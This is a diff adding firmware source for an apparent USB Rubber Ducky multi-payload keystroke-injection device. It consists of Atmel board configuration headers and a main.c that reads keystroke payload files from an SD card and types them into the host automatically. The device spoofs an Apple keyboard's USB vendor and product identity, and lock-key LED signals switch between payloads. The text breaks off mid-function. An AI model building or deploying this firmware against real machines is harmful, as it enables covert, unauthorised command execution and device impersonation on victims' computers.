+ #define READ_LED LED0 + #define WRITE_LED LED1 +#elif BOARD == EVK1105 + #define READ_LED LED0 + #define WRITE_LED LED1 +#elif BOARD == UC3C_EK + #define READ_LED LED0 + #define WRITE_LED LED1 +#elif BOARD == UC3L_EK + #define READ_LED LED0 + #define WRITE_LED LED1 +#endif + +#define memory_start_read_action(nb_sectors) LED_On(READ_LED) +#define memory_stop_read_action() LED_Off(READ_LED) +#define memory_start_write_action(nb_sectors) LED_On(WRITE_LED) +#define memory_stop_write_action() LED_Off(WRITE_LED) +//! @} + +/*! \name Activation of Interface Features + */ +//! @{ +#define ACCESS_USB DISABLED //!< MEM <-> USB interface. +#define ACCESS_MEM_TO_RAM ENABLED //!< MEM <-> RAM interface. +#define ACCESS_STREAM ENABLED //!< Streaming MEM <-> MEM interface. +#define ACCESS_STREAM_RECORD DISABLED //!< Streaming MEM <-> MEM interface in record mode. +#define ACCESS_MEM_TO_MEM ENABLED //!< MEM <-> MEM interface. +#define ACCESS_CODEC DISABLED //!< Codec interface. +//! @} + +/*! \name Specific Options for Access Control + */ +//! @{ +#define GLOBAL_WR_PROTECT DISABLED //!< Management of a global write protection. +//! @} + + +#endif // _CONF_ACCESS_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_board.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_board.h new file mode 100644 index 0000000..bf540b2 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_board.h @@ -0,0 +1,43 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Board configuration + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CONF_BOARD_H_INCLUDED +#define CONF_BOARD_H_INCLUDED + +// Only the default board init (switchs/leds) is necessary for this example + +#endif /* CONF_BOARD_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_clock.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_clock.h new file mode 100644 index 0000000..ffb4e19 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_clock.h @@ -0,0 +1,75 @@ +/** + * \file + * + * \brief Chip-specific system clock manager configuration + * + * Copyright (C) 2011 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CONF_CLOCK_H_INCLUDED +#define CONF_CLOCK_H_INCLUDED + +// ===== System Clock Source Options +//#define CONFIG_SYSCLK_SOURCE SYSCLK_SRC_RCSYS +#define CONFIG_SYSCLK_SOURCE SYSCLK_SRC_OSC0 +//#define CONFIG_SYSCLK_SOURCE SYSCLK_SRC_PLL0 + +// ===== PLL0 Options +#define CONFIG_PLL0_SOURCE PLL_SRC_OSC0 +//#define CONFIG_PLL0_SOURCE PLL_SRC_OSC1 +#define CONFIG_PLL0_MUL 8 /* Fpll = (Fclk * PLL_mul) / PLL_div */ +#define CONFIG_PLL0_DIV 2 /* Fpll = (Fclk * PLL_mul) / PLL_div */ + +// ===== PLL1 Options +//#define CONFIG_PLL1_SOURCE PLL_SRC_OSC0 +//#define CONFIG_PLL1_SOURCE PLL_SRC_OSC1 +//#define CONFIG_PLL1_MUL 8 /* Fpll = (Fclk * PLL_mul) / PLL_div */ +//#define CONFIG_PLL1_DIV 2 /* Fpll = (Fclk * PLL_mul) / PLL_div */ + +// ===== System Clock Bus Division Options +#define CONFIG_SYSCLK_CPU_DIV 1 /* Fcpu = Fsys/(2 ^ CPU_div) */ +#define CONFIG_SYSCLK_PBA_DIV 1 /* Fpba = Fsys/(2 ^ PBA_div) */ +#define CONFIG_SYSCLK_PBB_DIV 1 /* Fpbb = Fsys/(2 ^ PBB_div) */ + +// ===== Peripheral Clock Management Options +//#define CONFIG_SYSCLK_INIT_CPUMASK ((1 << SYSCLK_SYSTIMER) | (1 << SYSCLK_OCD)) +//#define CONFIG_SYSCLK_INIT_PBAMASK (1 << SYSCLK_USART0) +//#define CONFIG_SYSCLK_INIT_PBBMASK (1 << SYSCLK_HMATRIX) +//#define CONFIG_SYSCLK_INIT_HSBMASK (1 << SYSCLK_MDMA_HSB) + +// ===== USB Clock Source Options +//#define CONFIG_USBCLK_SOURCE USBCLK_SRC_OSC0 +#define CONFIG_USBCLK_SOURCE USBCLK_SRC_PLL0 +//#define CONFIG_USBCLK_SOURCE USBCLK_SRC_PLL1 +#define CONFIG_USBCLK_DIV 1 /* Fusb = Fsys/(2 ^ USB_div) */ + +#endif /* CONF_CLOCK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_explorer.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_explorer.h new file mode 100644 index 0000000..5e278e1 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_explorer.h @@ -0,0 +1,126 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ****************************************************************** + * + * \brief FAT configuration file. + * + * This file contains the possible external configuration of the FAT. + * + * Information about file-system limitations: + * - Only 2-FAT FSs supported by this navigator. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ***************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _CONF_EXPLORER_H_ +#define _CONF_EXPLORER_H_ + +#include "compiler.h" + + +//! Include files and compile options (do not change these settings). +#define LIB_MEM +#define LIB_CTRLACCESS "ctrl_access.h" + +//! Supported FATs (\c ENABLED or \c DISABLED). +#define FS_FAT_12 ENABLED +#define FS_FAT_16 ENABLED +#define FS_FAT_32 ENABLED + +//! The explorer may support either the ASCII or the UNICODE string format, or both. +#define FS_ASCII ENABLED +#define FS_UNICODE DISABLED + +//! The navigator may support only the first partition (\c DISABLED), or multiple partitions (\c ENABLED). +#define FS_MULTI_PARTITION DISABLED + +//! Maximal number of characters in file path. +#define MAX_FILE_PATH_LENGTH 30 + +//! Maximal size of configuration file. +#define MAX_CONFIG_FILE_SIZE 110 + +//! Level of features. +//! Select among: +//! - \c FSFEATURE_READ: All read functions. +//! - \c FSFEATURE_WRITE: nav_file_copy(), nav_file_paste(), nav_file_del(), file_create(), file_open(MODE_WRITE), file_write(), file_putc(). +//! - \c FSFEATURE_WRITE_COMPLET: FSFEATURE_WRITE functions and nav_drive_format(), nav_dir_make(), nav_file_rename(), nav_file_dateset(), nav_file_attributset(). +//! - \c FSFEATURE_ALL: All functions. +#define FS_LEVEL_FEATURES (FSFEATURE_READ | FSFEATURE_WRITE_COMPLET) + +//! Number of caches used to store a cluster list of files (interesting in case of many `open file'). +//! In player mode, 1 is OK (shall be > 0). +#define FS_NB_CACHE_CLUSLIST 1 + +//! Maximal number of simultaneous navigators. +#define FS_NB_NAVIGATOR 2 + +//! Number of reserved navigators (ids from \c 0 to (FS_NB_RESERVED_NAVIGATOR - 1)). +#define FS_NB_RESERVED_NAV 0 + +/*! \name Navigator Affiliations + * + * Define the affiliations of the navigators. + * + * \note The explorer always has the navigator ID 0. + */ +//! @{ + +//! The explorer uses the navigator ID 1 to open the `copy file' and the ID 0 to open the `paste file'. +#define FS_NAV_ID_COPYFILE 1 + +//! @} + +/*! \name Playlist Configuration + */ +//! @{ + +//! Cache to store the path of a file (here, mapped onto a global buffer). +#define pl_cache_path g_buffer + +//! Size of cache to store the path of a file. +#define PL_CACHE_PATH_MAX_SIZE sizeof(g_buffer) + +//! Playlist format: \c DISABLED for ASCII or \c ENABLED for UNICODE. +#define PL_UNICODE DISABLED + +//! @} + + +#endif // _CONF_EXPLORER_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_sd_mmc_spi.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_sd_mmc_spi.h new file mode 100644 index 0000000..3bb7401 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_sd_mmc_spi.h @@ -0,0 +1,71 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief SD/MMC configuration file. + * + * This file contains the possible external configuration of the SD/MMC. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an SPI module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _CONF_SD_MMC_SPI_H_ +#define _CONF_SD_MMC_SPI_H_ + + +#include "conf_access.h" + +#if SD_MMC_SPI_MEM == DISABLE + #error conf_sd_mmc_spi.h is #included although SD_MMC_SPI_MEM is disabled +#endif + + +#include "sd_mmc_spi.h" + + +//_____ D E F I N I T I O N S ______________________________________________ + +//! SPI master speed in Hz. +#define SD_MMC_SPI_MASTER_SPEED 12000000 + +//! Number of bits in each SPI transfer. +#define SD_MMC_SPI_BITS 8 + + +#endif // _CONF_SD_MMC_SPI_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_sleepmgr.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_sleepmgr.h new file mode 100644 index 0000000..9d4180b --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_sleepmgr.h @@ -0,0 +1,44 @@ +/** + * \file + * + * \brief Chip-specific sleep manager configuration + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CONF_SLEEPMGR_H +#define CONF_SLEEPMGR_H + +// Sleep manager options +#define CONFIG_SLEEPMGR_ENABLE + +#endif /* CONF_SLEEPMGR_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_usb.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_usb.h new file mode 100644 index 0000000..9843377 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/config/conf_usb.h @@ -0,0 +1,128 @@ +/** + * \file + * + * \brief USB configuration file + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _CONF_USB_H_ +#define _CONF_USB_H_ + +#include "compiler.h" +#include "main.h" + +/** + * USB Device Configuration + * @{ + */ + +//! Device definition (mandatory) +//#define USB_DEVICE_VENDOR_ID USB_VID_ATMEL +//#define USB_DEVICE_PRODUCT_ID USB_PID_ATMEL_AVR_HIDKEYBOARD +#define USB_DEVICE_VENDOR_ID 0x05ac +#define USB_DEVICE_PRODUCT_ID 0x2227 +#define USB_DEVICE_MAJOR_VERSION 1 +#define USB_DEVICE_MINOR_VERSION 0 +#define USB_DEVICE_POWER 100 // Consumption on Vbus line (mA) +#define USB_DEVICE_ATTR \ + (USB_CONFIG_ATTR_REMOTE_WAKEUP|USB_CONFIG_ATTR_BUS_POWERED) +// (USB_CONFIG_ATTR_SELF_POWERED) +// (USB_CONFIG_ATTR_BUS_POWERED) +// (USB_CONFIG_ATTR_REMOTE_WAKEUP|USB_CONFIG_ATTR_SELF_POWERED) + + +//! USB Device string definitions (Optional) +#define USB_DEVICE_MANUFACTURE_NAME "Apple Inc." +#define USB_DEVICE_PRODUCT_NAME "HID Keyboard" +// #define USB_DEVICE_SERIAL_NAME "12...EF" + +/** + * Device speeds support + * @{ + */ +//! To define a Low speed device +//#define USB_DEVICE_LOW_SPEED + +//! To authorize the High speed +#if (UC3A3||UC3A4) +//#define USB_DEVICE_HS_SUPPORT +#endif +//@} + +/** + * USB Device Callbacks definitions (Optional) + * @{ + */ +//#define UDC_VBUS_EVENT(b_vbus_high) main_vbus_action(b_vbus_high) +#define UDC_SOF_EVENT() main_sof_action() +#define UDC_SUSPEND_EVENT() main_suspend_action() +#define UDC_RESUME_EVENT() main_resume_action() +//! Mandatory when USB_DEVICE_ATTR authorizes remote wakeup feature +#define UDC_REMOTEWAKEUP_ENABLE() main_remotewakeup_enable() +#define UDC_REMOTEWAKEUP_DISABLE() main_remotewakeup_disable() +#define UDI_HID_KBD_CHANGE_LED(value) main_kbd_change(value) +//! When a extra string descriptor must be supported +//! other than manufacturer, product and serial string +// #define UDC_GET_EXTRA_STRING() +//@} + +//@} + + +/** + * USB Interface Configuration + * @{ + */ +/** + * Configuration of HID Keyboard interface (if used) + * @{ + */ +//! Interface callback definition +#define UDI_HID_KBD_ENABLE_EXT() main_kbd_enable() +#define UDI_HID_KBD_DISABLE_EXT() main_kbd_disable() +#define UDI_HID_KBD_CHANGE_LED(value) main_kbd_change(value) +//@} +//@} + + +/** + * USB Device Driver Configuration + * @{ + */ +//@} + +//! The includes of classes and other headers must be done at the end of this file to avoid compile error +#include "udi_hid_kbd_conf.h" + +#endif // _CONF_USB_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/main.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/main.c new file mode 100644 index 0000000..56af41a --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/main.c @@ -0,0 +1,327 @@ +//_____ M A I N ___________________________________________________________ +// +// Module : Ducky +// Description : Simple USB HID Keyboard injection +// Date : Nov 28, 2012 +// Author : Snake +// Credit : ATMEL, Jason Applebaum keyscan's method. +//__________________________________________________________________________ + +//_____ I N C L U D E S ___________________________________________________ +#include +#include "compiler.h" +#include "main.h" +#include "preprocessor.h" +#include "board.h" +#include "ctrl_access.h" +#include "power_clocks_lib.h" +#include "gpio.h" +#include "spi.h" +#include "conf_sd_mmc_spi.h" +#include "fat.h" +#include "file.h" +#include "navigation.h" +#include "conf_usb.h" +#include "udc.h" +#include "udd.h" +#include "led.h" +#include "udi_hid_kbd.h" +#include "sysclk.h" +#include "sleepmgr.h" + +//_____ D E C L A R A T I O N S ____________________________________________ + +// filename +char *injectFile = "A:\\inject.bin"; + +// state machine enum +typedef enum injectState { + state_IDLE, + state_START_INJECT, + state_INJECTING, + state_KEY_DOWN, + state_KEY_UP, + state_MOD_DOWN, + state_MOD_KEY_DOWN, + state_MOD_KEY_UP, + state_MOD_UP, + state_WAIT +} injectState_t; + +injectState_t state = state_START_INJECT; + +//_____ F U N C T I O N S __________________________________________________ + +// initializes the SD/MMC memory resources: GPIO, SPI and MMC +//------------------------------------------------------------------- +static void sd_mmc_resources_init(long pba_hz) { + + // GPIO pins used for SD/MMC interface + static const gpio_map_t SD_MMC_SPI_GPIO_MAP = { + {SD_MMC_SPI_SCK_PIN, SD_MMC_SPI_SCK_FUNCTION }, // SPI Clock. + {SD_MMC_SPI_MISO_PIN, SD_MMC_SPI_MISO_FUNCTION}, // MISO. + {SD_MMC_SPI_MOSI_PIN, SD_MMC_SPI_MOSI_FUNCTION}, // MOSI. + {SD_MMC_SPI_NPCS_PIN, SD_MMC_SPI_NPCS_FUNCTION} // Chip Select NPCS. + }; + + // SPI options. + spi_options_t spiOptions = { + .reg = SD_MMC_SPI_NPCS, + .baudrate = SD_MMC_SPI_MASTER_SPEED, // Defined in conf_sd_mmc_spi.h. + .bits = SD_MMC_SPI_BITS, // Defined in conf_sd_mmc_spi.h. + .spck_delay = 0, + .trans_delay = 0, + .stay_act = 1, + .spi_mode = 0, + .modfdis = 1 + }; + + // assign I/Os to SPI. + gpio_enable_module(SD_MMC_SPI_GPIO_MAP, + sizeof(SD_MMC_SPI_GPIO_MAP) / sizeof(SD_MMC_SPI_GPIO_MAP[0])); + + // initialize as master. + spi_initMaster(SD_MMC_SPI, &spiOptions); + + // set SPI selection mode: variable_ps, pcs_decode, delay. + spi_selectionMode(SD_MMC_SPI, 0, 0, 0); + + // enable SPI module. + spi_enable(SD_MMC_SPI); + + // Initialize SD/MMC driver with SPI clock (PBA). + sd_mmc_spi_init(spiOptions, pba_hz); +} + +// process a USB frame +//------------------------------------------------------------------- +void process_frame(uint16_t framenumber) +{ + static uint8_t cpt_sof = 0; + //static injectState_t state = state_START_INJECT; + static uint8_t wait = 0; + static uint16_t debounce = 0; + static uint16_t injectToken = 0x0000; + + // scan process running each 2ms + cpt_sof++; + if( 2 > cpt_sof ) + return; + cpt_sof = 0; + + // pulse led + //LED_Set_Intensity( LED0, framenumber >> 1 ); + + // debounce switch + if( debounce > 0 ) --debounce; + + // injection state machine + switch(state) { + + case state_IDLE: + // check switch + if( gpio_get_pin_value(GPIO_JOYSTICK_PUSH) == GPIO_JOYSTICK_PUSH_PRESSED ) { + + // debounce + if( debounce == 0 ) { + state = state_START_INJECT; + debounce = 250; + } + } + break; + + case state_START_INJECT: + file_open(FOPEN_MODE_R); + state = state_INJECTING; + break; + + case state_INJECTING: + + if( file_eof() ) { + file_close(); + state = state_IDLE; + break; + } + + injectToken = ( file_getc() | ( file_getc() << 8 ) ); + + if( ( injectToken&0xff ) == 0x00 ) { + wait = injectToken>>8; + state = state_WAIT; + } + else if( ( injectToken>>8 ) == 0x00 ) { + state = state_KEY_DOWN; + } + else { + state = state_MOD_DOWN; + } + break; + + case state_KEY_DOWN: + udi_hid_kbd_down(injectToken&0xff); + state = state_KEY_UP; + break; + + case state_KEY_UP: + udi_hid_kbd_up(injectToken&0xff); + state = state_INJECTING; + break; + + case state_MOD_DOWN: + udi_hid_kbd_modifier_down(injectToken>>8); + state = state_MOD_KEY_DOWN; + break; + + case state_MOD_KEY_DOWN: + udi_hid_kbd_down(injectToken&0xff); + state = state_MOD_KEY_UP; + break; + + case state_MOD_KEY_UP: + udi_hid_kbd_up(injectToken&0xff); + state = state_MOD_UP; + break; + + case state_MOD_UP: + udi_hid_kbd_modifier_up(injectToken>>8); + state = state_INJECTING; + break; + + case state_WAIT: + if( --wait == 0 ) { + state = state_INJECTING; + } + break; + + default: + state = state_IDLE; + } +} + +// Main Method - IRQ, CLCK, INIT setup +//------------------------------------------------------------------- +int main(void) { + + uint32_t sizeTemp; + + // init cpu + irq_initialize_vectors(); + cpu_irq_enable(); + + // init board + sleepmgr_init(); + sysclk_init(); + board_init(); + + // initialize SD/MMC resources: GPIO, SPI. + sd_mmc_resources_init(FOSC0); + + // test if the memory is ready - using the control access memory abstraction layer (/SERVICES/MEMORY/CTRL_ACCESS/) + if (mem_test_unit_ready(LUN_ID_SD_MMC_SPI_MEM) == CTRL_GOOD) { + // Get and display the capacity + mem_read_capacity(LUN_ID_SD_MMC_SPI_MEM, &sizeTemp); + } + else { + // error - we can't proceed - sit and spin... + while(true) { LED_On( LED1 ); } + } + + nav_reset(); + if( !nav_setcwd( injectFile, true, false ) ) { + //try to open a://inject.bin else sit here + while(true) { + LED_On( LED1 ); + for (int i=0; i<1000; i++){} + LED_Off(LED1); + } + } + + // Start USB stack + udc_start(); + udc_attach(); + + while(true) { + //do nothing - handle interrupts and events + //sleepmgr_enter_sleep(); + } +} + +//------------------------------------------------------------------- +void main_suspend_action(void) +{ + LED_Off(LED0); + LED_Off(LED1); +} + +//------------------------------------------------------------------- +void main_resume_action(void) +{ +} + +//------------------------------------------------------------------- +void main_sof_action(void) +{ + process_frame( udd_get_frame_number() ); + +} + +//------------------------------------------------------------------- +// If remote wakeup enable/disable is supported insert code below +void main_remotewakeup_enable(void) +{ +} + +//------------------------------------------------------------------- +void main_remotewakeup_disable(void) +{ +} + +//------------------------------------------------------------------- +bool main_kbd_enable(void) +{ + //main_b_kbd_enable = true; + return true; +} + +//------------------------------------------------------------------- +bool main_kbd_disable(void) +{ + //main_b_kbd_enable = false; mod + return false; +} + +//------------------------------------------------------------------- +void main_kbd_change(uint8_t value) +{ + //this is called when LEDs CAPS LCK, NUM LCK change + if (value & HID_LED_NUM_LOCK) { + // Here, turn on Num LED + LED_On( LED1 ); + injectFile = "A:\\inject2.bin"; + nav_reset(); + nav_setcwd( injectFile, true, false ); + } else{ + // Here, turn off Num LED + LED_Off( LED1 ); + } + if (value & HID_LED_CAPS_LOCK) { + // Here, turn on CAPS LED + LED_On( LED0 ); + injectFile = "A:\\inject3.bin"; + nav_reset(); + nav_setcwd( injectFile, true, false ); + } else{ + // Here, turn off CAPS LED + LED_Off( LED0 ); + } + if (value & HID_LED_SCROLL_LOCK) { + // Here, turn on Scroll LED + LED_On( LED1 ); + injectFile = "A:\\inject4.bin"; + nav_reset(); + nav_setcwd( injectFile, true, false ); + } else { + // 